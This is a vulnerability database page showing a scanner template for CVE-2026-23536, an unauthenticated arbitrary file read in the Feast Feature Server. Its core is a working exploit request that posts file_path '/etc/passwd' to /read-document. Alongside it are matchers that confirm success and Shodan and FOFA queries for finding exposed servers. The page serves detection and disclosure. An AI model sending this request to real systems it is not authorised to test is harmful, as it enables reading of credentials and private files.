Feast Feature Server <=0.58.0 - Arbitrary File Read
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2026-23536 | 20 Mar 202621:58 | – | attackerkb | |
| CVE-2026-23536 | 20 Mar 202622:17 | – | circl | |
| Red Hat OpenShift AI 路径遍历漏洞 | 20 Mar 202600:00 | – | cnnvd | |
| CVE-2026-23536 | 20 Mar 202621:58 | – | cve | |
| CVE-2026-23536 Feast: unauthenticated arbitrary file read | 20 Mar 202621:58 | – | cvelist | |
| EUVD-2026-13816 | 21 Mar 202600:31 | – | euvd | |
| CVE-2026-23536 | 20 Mar 202622:16 | – | nvd | |
| PT-2026-26683 | 20 Mar 202600:00 | – | ptsecurity | |
| CVE-2026-23536 | 20 Mar 202621:58 | – | redhatcve | |
| Directory Traversal | 20 Mar 202600:00 | – | snyk |
10
id: CVE-2026-23536
info:
name: Feast Feature Server <=0.58.0 - Arbitrary File Read
author: str4k3r
severity: high
description: |
Feast (the open-source Feature Store) Feature Server through 0.58.0 exposes an unauthenticated POST /read-document endpoint that reads an arbitrary, caller-supplied file path with no authentication and no path validation. The read_document_endpoint handler passes the JSON `file_path` field straight to os.path.exists()/open() and returns the file contents in the JSON `content` field, so a remote, unauthenticated attacker can read any file readable by the server process (e.g. /etc/passwd, feature_store.yaml, cloud credentials). Unlike the store-mutating routes it carries no inject_user_details/permission dependency.
reference:
- https://access.redhat.com/security/cve/CVE-2026-23536
- https://bugzilla.redhat.com/show_bug.cgi?id=2429302
- https://github.com/feast-dev/feast
- https://nvd.nist.gov/vuln/detail/CVE-2026-23536
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-23536
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
product: feast
vendor: feast-dev
shodan-query: http.favicon.hash:493797515
fofa-query: icon_hash="493797515"
tags: cve,cve2026,feast,lfi,traversal,mlops
http:
- raw:
- |
POST /read-document HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"file_path":"/etc/passwd"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"content":'
- '"file_path":'
condition: and
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4b0a00483046022100a4c91a112c6419f99a8ca34e748528860486485181235b863df91753c4958565022100f8573df28d7c9137ea87d7a07593741543ac685de16f681542ecdd2991523b7b:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Aug 2026 06:39Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.17.5
EPSS0.00594
SSVC